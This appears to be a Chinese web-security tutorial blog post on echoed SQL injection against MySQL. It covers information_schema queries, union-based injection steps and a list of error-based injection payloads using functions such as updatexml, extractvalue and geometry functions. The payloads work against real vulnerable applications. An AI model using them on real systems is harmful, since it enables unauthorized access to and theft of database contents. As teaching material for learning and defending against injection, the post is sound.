Sql注入02-有回显的注入

sql是和数据库打交道的语言,常见的操作有增、删、改、查。
其中,查询作为sql中最常见的一部分,同时也是最复杂的,我们就从sql查询处的sql注入开始学习。

SQL查询的注入大致可以分为两大部分:有回显的注入和无回显的注入。
在看完上一篇sql注入的基本原理之后,今天我们来学习一下sql注入中有回显的注入。

mysql中的information_schema数据库

在具体讲解sql注入之前,我们先要了解一下mysql的information_shcmea这个数据库。

我们知道,从一个数据库中查询数据,一般的sql语句是这样的:

1
select column from schema.table;

其中,schematablecolumn分别是数据库名、表名和列名。
因此,想要从一个数据库中查询数据,我们应该要知道数据库的名称、数据库中的表名以及表中的列名。

为此,sql语句中有show语句来解决这个问题:
我们可以使用show databases来查看当前所有的数据库,之后使用use 数据库名进入这个数据库;进入某个数据库后,可以使用show tables来查看这个数据库中的所有表,使用show columns from 表名来查看表中的所有字段。

当然,sql注入的时候很少情况允许我们使用show语句来获取这些数据,那怎么办呢?information_schema这个库解决了我们的这些问题。
在 MySQL5 版本后,加入了information_schema这个库,该库存放了所有数据库的信息。

information_shcema数据库中存的都是视图,而不是表,其中我们需要重点关注的有schematatablescolumns这三个视图。

话不多说,直接列出这三个视图中重要的字段:

因此,查询所有数据库名:

1
2
show databases;
select schema_name from information_schema.schemata;

查询指定数据库下的所有表名:

1
2
show tables from 数据库名;
select table_name from information_schema.tables where table_schema='数据库名';

查询指定表下的字段名:

1
2
show columns from 表名;
select column_name from information_schema.columns where table_name='表名';

知道了这些信息,就可以愉快的查询数据啦

union联合注入

我们知道,在使用select查询数据的时候,可以通过union关键字来将多个select语句查询的结果合并。

一般的文章的显示的sql语句可能是这样的:

1
select * from articles where id = $_GET['id'] limit 1;

这个语句根据用户传入的id参数从数据库中查询数据,之后服务端再将查询到的数据(比如作者、发表时间、文章内容等)显示到页面中。

在这里,我们可以使用联合查询语句来进行注入。

传入参数id=0 union select 1,2,3
当后端将id拼接进入sql语句,成为了:

1
select * from articles where id = 0 union select 1,2,3 limit 1;

这个sql语句查询的结果是1,2,3,页面渲染的时候就会将1,2,3显示到页面指定位置,将1,2,3修改为sql子查询语句,就可以利用这些可以显示的位置将子查询的结果显示出来。这就是联合注入。

联合注入的前提:

  1. 可以使用union关键字
  2. 有显示位

需要注意的是,前后两个select语句的返回的字段数必须相同,否则无法拼接。

联合注入的基本步骤:

  1. 确定查询的字段数量
    使用order/group by语句。通过往后边拼接数字,可确定字段数量,若大于,则页面错误/无内容,若小于或等于,则页面正常。
  2. 判断页面显示位
  3. 在显示位使用子查询查询数据(爆库名、表名、列名、数据)

上述的例子中,爆库名:

1
0 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)

爆表名:

1
0 union select (select group_concat(table_name) from information_schema.tables where table_schema='数据库名')

爆字段名:

1
0 union select (select group_concat(column_name) from information_schema.columns where table_name='表名')

爆数据:

1
0 union select (select 列名 from 表名)

报错注入

报错注入是利用数据库的某些机制,人为的制造错误条件,通过特殊函数错误使用,并使其输出错误结果来获取信息的。

我这里直接贴上一些payload,原理自查。
来源:https://xz.aliyun.com/t/7169#toc-18

exp

适用版本:5.5.5 - 5.5.49
函数语法:exp(int)
payload:exp(~(select * from(select user())a))
类似的:pow(9,~(select * from(select user())a))

updatexml()

函数语法:updatexml(XML_document, XPath_string, new_value)
适用版本: 5.1.5+
payload:updatexml(1,concat(0x7e,(select user()),0x7e),1)
注:前后添加~使其不符合xpath格式从而报错

extractvalue()

函数语法:extractvalue(XML_document, XPath_string)
适用版本:5.1.5+
payload: extractvalue(1,concat(0x7e,(select user()),0x7e))

rand()+group()+count()

适用版本:5.5.49 +
payload: union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a
常用pyaload:'union select 1 from (select count(*),concat((select user()),"-",floor(rand(0)*2))x from information_schema.tables group by x)a

几何函数

适用版本:5.5.48 前
payload:
GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

空间函数

适用版本:5.7 +
payload:
ST_LatFromGeoHash():select ST_LatFromGeoHash(version());
ST_LongFromGeoHash():select ST_LongFromGeoHash(version());
ST_PointFromGeoHash(): select ST_PointFromGeoHash(concat("!",(select version())),"a");

Bigint数值操作:

当mysql数据库的某些边界数值进行数值运算时,会报错的原理。
适用版本:5.5.5~5.5.49
payload: select !(select * from(select user())a)-~0

name_const()

仅可取数据库版本信息

payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a

uuid相关函数

适用版本:8.0.x
payload:uuid_to_bin((select version()));bin_to_uuid((select version()));

GTID相关函数

适用版本:5.6.5 +
payload:
select gtid_subset(select user(),1);
select gtid_subtract((select * from(select user())a),1);

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/08/07/web安全/sql注入02-有回显的注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog